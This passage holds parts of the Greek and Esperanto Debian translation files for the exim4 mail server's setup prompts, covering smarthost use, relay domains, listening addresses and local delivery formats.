standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "τοπική αλληλογραφία μόνο - χωρίς δίκτυο" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "χωρίς ρύθμιση προς το παρόν" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Γενικός τύπος ρύθμισης αλληλογραφίας:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Παρακαλώ επιλέξτε την ρύθμιση του εξυπηρετητή αλληλογραφίας που καλύπτει " "καλλίτερα τις ανάγκες σας." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Συστήματα με δυναμικές διευθύνσεις IP, όπως συστήματα κλήσης (dialup), θα " "πρέπει γενικά να ρυθμθιστούν να αποστέλλουν για παράδοση την εξερχόμενη " "αλληλογραφία τους σε ένα άλλο σύστημα, γνωστό και ως 'smarthost', γιατί " "πολλά συστήματα στο Διαδίκτυο που δέχονται αλληλογραφία μπλοκάρουν αυτήν που " "προέρχεται από μηχανήματα με δυναμικές διευθύνσεις σαν μέτρο προστασίας από " "το spam." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Ένα σύστημα με δυναμική διεύθυνση IP μπορεί να λαμβάνει την δική του " "αλληλογραφία, ή μπορείτε να απενεργοποιήσετε εντελώς την τοπική παράδοση " "αλληλόγραφίας (εκτός από αυτήν για τον χρήστη root και τον χρήστη " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Θέλετε σίγουρα να αφήσετε το σύστημα χωρίς ρύθμιση;" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Μέχρι να ρυθμιστεί το σύστημα αλληλογραφίας σας, δεν θα είναι λειτουργικό " "και δεν θα μπορεί να χρησιμοποιηθεί. Η ρύθμισή του σε μια μεταγενέστερη " "στιγμή μπορεί να γίνει είτε με το χέρι είτε εκτελώντας την εντολή 'dpkg-" "reconfigure exim4-config' ως χρήστης root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Όνομα διακομιστή αλληλογραφίας:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "Η παράμετρος 'mail name' είναι το όνομα τομέα που χρησιμοποιείται για την " "'πρόκριση' ως αποδεκτών διευθύνσεων αλληλογραφίας που δεν έχουν οι ίδιες ένα " "όνομα τομέα." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Το όνομα αυτό θα χρησιμοποιηθεί επίσης και από άλλα προγράμματα. Θα πρέπει " "να είναι το μοναδικό, πλήρως έγκριτο όνομα τομέα (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Έτσι, αν μια διεύθυνση αλληλογραφίας στο τοπικό σύστημα είναι foo@example." "org, τότε η σωστή τιμή για την επιλογή αυτή θα πρέπει να είναι example.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Το όνομα αυτό δεν θα εμφανίζεται στις γραμμές From: των εξερχόμενων " "μηνυμάτων αν έχετε ενεργοποιήσει την επανεγγραφή." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Άλλοι προορισμοί για τους οποίους γίνεται δεκτή η αλληλογραφία:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Παρακαλώ εισάγετε μια λίστα ονομάτων τομέων για αποδέκτες αλληλογραφίας, " "χωρισμένων με ερωτηματικά, για τους οποίους το σύστημα αυτό θα θεωρεί τον " "εαυτό του σαν τελικό προορισμό. Αυτοί οι τομείς ονομάζονται συνήθως 'τοπικοί " "τομείς'. Το όνομα του τοπικού συστήματος (${fqdn}) και το 'localhost' " "προστίθενται πάντα στη λίστα που θα δοθεί εδώ." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Η προκαθορισμένη επιλογή είναι όλοι οι τοπικοί τομείς να αντιμετωπίζονται με " "τον ίδιο τρόπο (προκαθορισμένη ρύθμιση), αν θέλετε ιδιαίτερη μεταχείριση για " "κάποιο τομέα δικτύου, θα πρέπει να επεξεργαστείτε τα αρχεία ρυθμίσεων εκ των " "υστέρων." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Αναδρομολόγηση αλληλογραφίας για τους τομείς:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Παρακαλώ εισάγετε μια λίστα από τομείς δικτύου που δέχονται αλληλογραφία, " "χωρισμένων από ερωτηματικά, για τους οποίους αυτό το σύστημα θα " "επαναδρομολογεί αλληλογραφία, για παράδειγμα σαν μια πύλη αλληλογραφίας ή " "σαν εφεδρικό σύστημα MX. Αυτό σημαίνει ότι το παρόν σύστημα θα δέχεται " "αλληλογραφία γι' αυτούς τους τομείς δικτύου από οπουδήποτε στο Διαδίκτυο και " "θα την παραδίδει σύμφωνα με τους κανόνες τοπικής παράδοσης αλληλογραφίας." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" "Μην αναφέρετε εδώ τοπικούς τομείς δικτύου. Μπορούν να χρησιμοποιηθούν " "κανονικές εκφράσεις (wildcards)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Υπολογιστές για τους οποίους θα αναδρομολογείται η αλληλογραφία:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Παρακαλώ εισάγετε μια λίστα από εύρη διευθύνσεων IP, χωρισμένων με " "ερωτηματικά, για τις οποίες το παρόν σύστημα θα αναδρομολογεί χωρίς " "περιορισμούς αλληλογραφία, λειτουργώντας σαν smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Θα πρέπει να χρησιμοποιήσετε την κανονική μορφή διεύθυνσης/μάσκας (π.χ. " "194.222.242.0/24 ή 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Αν το παρόν σύστημα δεν είναι ένας smarthost για οποιοδήποτε άλλο σύστημα, " "αφήστε αυτή την λίστα κενή." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Εμφανιζόμενος Τομέας δικτύου για τους τοπικούς χρήστες:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Ήταν ενεργοποιημένη η επιλογή της απόκρυψης του ονόματος τοπικής " "αλληλογραφίας για την εξερχόμενη αλληλογραφία. Είναι επομένως απαραίτητο να " "προσδιορίσετε το όνομα τομέα δικτύου που το παρόν σύστημα θα χρησιμοποιεί " "σαν το αντίστοιχο κομμάτι στις διευθύνσεις αποστολής των τοπικών χρηστών." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" "Διεύθυνση IP ή όνομα συστήματος του smarthost εξερχόμενης αλληλογραφίας:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Παρακαλώ εισάγετε την διεύθυνση IP ή το όνομα συστήματος ενός εξυπηρετητή " "αλληλογραφίας που το παρόν σύστημα θα χρησιμοποιεί σαν έναν smarthost " "εξερχόμενης αλληλογραφίας. Αν ο smarthost δέχεται την αλληλογραφίας σας μόνο " "σε μια θύρα διαφορετική από την TCP/25, προσθέστε στο τέλος δυο άνω-κάτω " "τελείες και τον αριθμό της θύρας (για παράδειγμα smarthost.example::587 or " "192.168.254.254::2525). Οι άνω-κάτω τελείες θα πρέπει να διπλασιαστούν για " "διευθύνσεις IPv6." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Αν ο smarthost απαιτεί αυθεντικοποίηση, παρακαλώ αναφερθείτε στα αρχεία " "README ειδικά για το Debian στον κατάλογο /usr/share/doc/exim4-base για " "σημειώσεις σχετικά με την ρύθμιση αυθεντικοποίησης για το πρωτόκολλο SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Παραλήπτης αλληλογραφίας του χρήστη root και του postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Αλληλογραφία για τους χρήστες 'postmaster', 'root' και άλλους λογαριασμούς " "του συστήματος θα πρέπει να ανακατευθύνεται στον λογαριασμό χρήστη του " "πραγματικού διαχειριστή του συστήματος." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Αν αυτή η τιμή παραμείνει κενή, αυτή η αλληλογραφία θα σώζεται στον " "κατάλογο /var/mail/mail, κάτι που δεν συνίσταται." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Σημειώστε ότι η αλληλογραφία του χρήστη postmaster θα πρέπει να διαβάζεται " "στο σύστημα στο οποίο απευθύνεται, παρά να προωθείται αλλού, επομένως " "(τουλάχιστον ένας) από τους χρήστες που παρατίθενται εδώ δεν θα πρέπει να " "αναδρομολογεί την αλληλογραφία του έξω από το παρόν μηχάνημα. Το πρόθεμα " "'real-' μπορεί να χρησιμοποιηθεί για την επιβολή της τοπικής παράδοσης της " "αλληλογραφίας." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Ονόματα πολλαπλών χρηστών θα πρέπει να διαχωρίζονται με κενά." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Διευθύνσεις IP στις οποίες θα αναμένονται εισερχόμενες συνδέσεις SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Παρακαλώ εισάγετε μια λίστα με διαχωρισμένες από άνω και κάτω τελείες " "διευθύνσεις IP. Ο δαίμονας SMTP του Exim θα ακούει σε όλες τις διευθύνσεις " "IP που αναγράφονται σ' αυτή τη λίστα." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Μια κενή τιμή θα έχει σαν αποτέλεσμα το Exim να ακούει για συνδέσεις σε " "όλες τις διαθέσιμες δικτυακές διεπαφές (interfaces)." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Αν το παρόν σύστημα δέχεται αλληλογραφία μόνο άμεσα από τοπικές υπηρεσίες " "(και όχι από άλλα συστήματα), ενδείκνυται η απαγόρευση εξωτερικών συνδέσεων " "στον τοπικό δαίμονα Exim. Τέτοιες υπηρεσίες περιλαμβάνουν προγράμματα " "αλληλογραφίας (MUA) που επικοινωνούν μόνο με τον localhost καθώς και το " "fetchmail. Συνδέσεις από έξω είναι αδύνατες αν εισάγετε εδώ την διεύθυνση " "127.0.0.1,καθώς αυτό θα απενεργοποιήσει την δυνατότητα \"ακρόασης\" των " "δημόσιων δικτυακών διεπαφών." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Ελάχιστος αριθμός επερωτήσεων DNS (για σύνδεση κατ' απαίτηση);" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "Σε κανονική λειτουργία το Exim πραγματοποιεί επερωτήσεις DNS κατά την " "εκκίνησή του, καθώς και κατά την λήψη και παράδοση των μηνυμάτων. Αυτό " "γίνεται για λόγους καταγραφής και επιτρέπει τη διατήρηση όσον το δυνατόν " "λιγότερων hard-coded τιμών στο αρχείο ρυθμίσεων.." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Αν το σύστημα δεν έχει στη διάθεσή του ένα σύστημα πλήρους υπηρεσίας " "ονοματοδοσίας DNS σε κάθε στιγμή (για παράδειγμα αν η πρόσβασή του στο " "Διαδίκτυο είναι μέσω μιας γραμμής dial-up με χρήση dial-on-demand), αυτό " "μπορεί να έχει ανεπιθύμητες συνέπειες. Για παράδειγμα. ξεκινώντας τον " "εξυπηρετητή Exim ή τρέχοντας την παράδοση των μηνυμάτων που είναι στην ουρά " "(ακόμα και αν δεν υπάρχουν μηνύματα σε αναμονή) μπορεί να προκαλέσει την " "πραγματοποίηση κοστοβόρων προσπαθειών σύνδεσης dial-up." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Αυτή η επιλογή θα πρέπει να γίνει αν το σύστημα χρησιμοποιεί Dial-on-Demand. " "Αν έχει συνεχή πρόσβαση στο Διαδίκτυο, η επιλογή αυτή θα πρέπει να " "απενεργοποιηθεί." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Ρύθμισης εξυπηρετητή αλληλογραφίας" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Να διασπαστούν οι ρυθμίσεις σε μικρότερα αρχεία;" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Τα πακέτα του exim4 στο Debian μπορούν να χρησιμοποιήσουν είτε μια " "'ενιαία' ('unsplit') ρύθμιση, δηλ. ένα μοναδικό μονολιθικό αρχείο (/etc/" "exim4/exim4.conf.template) ή μια ρύθμιση 'τμηματική' ('split') ρύθμιση, όπου " "τα πραγματικά αρχεία ρυθμίσεων του Exim σχηματίζονται από περίπου 50 " "μικρότερα αρχεία στον κατάλογο /etc/exim4/conf.d." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Ο πρώτος τρόπος \"ενιαίας\" (unsplit) ρύθμισης είναι καταλληλότερος για " "τροποποιήσεις μεγάλης έκτασης και είναι γενικά πιο σταθερός, ενώ ο δεύτερος " "της \"τμηματικής\" (split) ρύθμισης προσφέρει έναν μιο άνετο τρόπο να " "γίνονται μικρότερες τροποποιήσεις αλλά είναι γενικά πιο εύθραυστος και " "πιθανόν να γίνει μη λειτουργικός αν μεταβάλλεται χωρίς προσοχή." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Μια πιο λεπτομερειακή συζήτηση για την 'τμηματική' ('split') και την " "'ενιαία' ('unsplit') ρύθμιση μπορεί να βρεθεί στα αρχεία README ειδικά για " "το Debian στον κατάλογο /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Να αποκρύπτεται το όνομα στην εξερχόμενη αλληλογραφία;" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Οι κεφαλίδες της εξερχόμενης αλληλογραφίας μπορούν να επανεγγράφονται ώστε " "να εμφανίζονται σαν να έχουν δημιουργηθεί σε κάποιο άλλο σύστημα. Αν κάνετε " "αυτή την επιλογή, τα πεδία '${mailname}', 'localhost' και " "'${dc_other_hostnames}' στις κεφαλίδες From, Reply-To, Sender και Return-" "Path επανεγγράφονται." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "Τύπος mbox στο /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Τύπος Maildir στον προσωπικό κατάλογο" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Μέθοδος παράδοσης για την τοπική αλληλογραφία:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Το Exim έχει την ικανότητα να αποθηκεύει τοπικά την αλληλογραφία που έχει " "παραδοθεί με διαφορετικούς τύπους. Οι πιο κοινά χρησιμοποιούμενοι είναι οι " "mbox και Maildir. Ο τύπος mbox χρησιμοποιεί ένα μοναδικό αρχείο για ολόκληρο " "τον κατάλογο αλληλογραφίας αποθηκευμένο στον κατάλογο /var/mail. Με τον τύπο " "Maildir κάθε ξεχωριστό μήνυμα αποθηκεύεται σε ένα ξεχωριστό αρχείο στον " "κατάλογο ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Παρακαλώ σημειώστε ότι τα περισσότερα εργαλεία αλληλογραφίας στο Debian " "περιμένουν στις προεπιλογές τους ότι μέθοδος για την τοπική παράδοση της " "αλληλογραφίας είναι τύπου mbox." debian/po/eo.po0000644000000000000000000005676112027557533010577 0ustar # translation of eo.po to Esperanto # Esperanto messages for debian-installer. # Copyright (C) 2006 Software in the Public Interest, Inc. # This file is distributed under the same license as debian-installer. # # Serge Leblanc , 2006-2007. # Felipe Castro , 2008. msgid "" msgstr "" "Project-Id-Version: exim4-config\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-03-20 16:06+0100\n" "Last-Translator: Felipe Castro \n" "Language-Team: Esperanto \n" "Language: eo\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Ĉu forviŝi ne disdonitajn mesaĝojn el la bufra dosierujo 'spool'?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Ekzistas retpoŝtaj mesaĝoj en la bufra dosierujo '/var/spool/exim4/input' " "kiuj ne estis disdonitaj. Se vi forviŝos la programon 'Exim', ili ne estos " "disdonitaj, ĝis kiam 'Exim' estu re-instalita." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Se vi ne elektas ĉi tiun opcion, la dosierujo 'spool' estos tenita. Tio " "ebligos disdoni la vicigitajn atendantajn retmesaĝojn post la reinstalado de " "'Exim'." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reakomodi la pakon 'exim4-config' anstataŭ tiun ĉi pakon" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "La akomodado de 'Exim4' estas mastrumata per specifa pako, 'exim4-config'. " "Por reakomodi la pakon 'Exim4', uzu la komandon 'dpkg-reconfigure exim4-" "config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "interreta ejo; retpoŝto estas sendata kaj ricevata rekte per 'SMTP'" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "sendo per lertservilo; ricevo per 'SMTP' aŭ 'fetchmail'" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "sendo per lertservilo; neniu loka retmesaĝo" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "nur loka livero; ne rete" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "neniu agordo nune" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Ĝenerala tipo de retpoŝta agordado:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Bonvolu elekti la retpoŝtservilan agordon, kiu plej kongruas al viaj bezonoj." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemoj kiuj uzas dinamikajn 'IP'-adresojn, inkluzive la pertelefonaj " "sistemoj, ĝenerale devas esti akomoditaj por sendi elirajn retmesaĝojn per " "relajsa 'smarthost'-lertservilo. Ĉar multaj ricevantaj sistemoj blokas " "retmesaĝojn kiuj estas senditaj de 'IP'-dinamikaj sistemoj (pro spam-" "protektado)." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "'IP'-dinamikadresa sistemo povas ricevi siajn proprajn retmesaĝojn , aŭ loka " "livero povas esti tute malaktivigita (krom retmesaĝoj al ĉefuzanto kaj al " "poŝtestro)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Ĉu vi vere lasos neakomodita la retpoŝtan servilon?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Ĝis kiam via retpoŝtilo estu akomodita, ĝi misfunkcios kaj ne estos uzebla. " "Vi povos poste akomodi ĝin permane aŭ per plenumo de la komando 'dpkg-" "reconfigure exim4-config', kiel ĉefuzanto." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nomo de la retpoŝtservilo:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "La nomo 'mail name' estas la domajna nomo uzata por 'kvalifiki' " "retpoŝtadresojn sen domajna nomo." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Tiu nomo ankaŭ estos uzata de aliaj programoj. Ĝi devas kongrui kun unika " "tutkvalifikita domajno-nomo ('FQDN')." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Ekzemple, se loka retpoŝtadreso estus \"ajn@ekzemplo.org\", la ĝusta valoro " "por ĉi tiu opcio estus \"ekzemplo.org\"." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Tiu nomo ne aperos en la kaplinioj 'De:' en elirantaj retleteroj se vi " "aktivigas reskribadon." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Aliaj celoj por kiuj retmesaĝoj estas akceptitaj:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Bonvolu enmeti punktokome interspacigitan liston da domajnoj por kiuj ĉi tiu " "maŝino devus konsideri sin la fina celo. Tiuj domajnoj estas kutime nomitaj " "'lokaj domajnoj'. La loka gastnomo (${fqdn}) kaj 'localhost' estas ĉiam " "aldonitaj al la listo difinita ĉi tie." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Implicite, ĉiuj lokaj domajnoj estos same traktitaj. Se ambaŭ 'a.ekzemplo' " "kaj 'b.ekzemplo' estas lokaj domajnoj, 'acc@a.ekzemplo' kaj 'acc@b.ekzemplo' " "estos distribuitaj al la sama ricevanto. Se vi volas trakti malsamajn " "domajno-nomojn malsame, vi devos poste redakti la agordajn dosierojn." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Relajsotaj domajnoj:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Bonvolu indiki punktokome interspacigitan liston da domajnoj por kiuj tiu ĉi " "maŝino relajsos mesaĝojn (ekzemple kiel alternativa 'MX'-servilo aŭ mesaĝa " "interpasilo). 